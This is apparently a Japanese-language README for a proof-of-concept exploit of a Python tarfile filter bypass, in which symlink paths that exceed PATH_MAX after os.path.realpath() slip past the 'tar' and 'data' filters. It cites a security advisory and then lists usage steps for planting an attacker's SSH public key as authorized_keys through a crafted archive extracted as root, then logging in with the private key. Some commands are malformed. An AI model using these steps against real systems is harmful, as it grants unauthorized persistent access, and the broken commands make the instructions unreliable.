
影響: 権限昇格
動作:
Python の TarFile.extractall() および TarFile.extract() メソッドは、これらのメソッドを安全に使用するためのフィルターを設定できる機能をサポートしています。Python の標準ライブラリは、tar_filter ("tar") と data_filter ("data") の2つの実装を提供しており、それぞれ tarfile 抽出の安全性を高めるための異なるチェックを行います。
シンボリックリンクを含むパスの処理において、PATH_MAX より短いパスが、os.path.realpath() によってシンボリックリンクを解決すると PATH_MAX より長くなる場合にバグが存在します。PATH_MAX を超えるシンボリックリンクは展開されません。
os.path.realpath() は "tar" フィルターと "data" フィルターによるパス検証に使用されますが、PATH_MAX を超えてもエラーはスローされません。その後、extractall() または extract() の実行時には、パスは os.path.realpath() を経由せずに使用されます。
参照: https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f
PoC の使用方法:
ssh-keygen -t ed25519 -f any
mkdir test
mv any.pub authorized_keys
cp authorized_keys /test
cd test
#Put your public key file name (authorized_keys)
python3 exploit.py
(file.tar) ~ generated
# Now using Python3
sudo python3 tar -xvf file.tar
#login
chmod 600 any
ssh -i any user@ip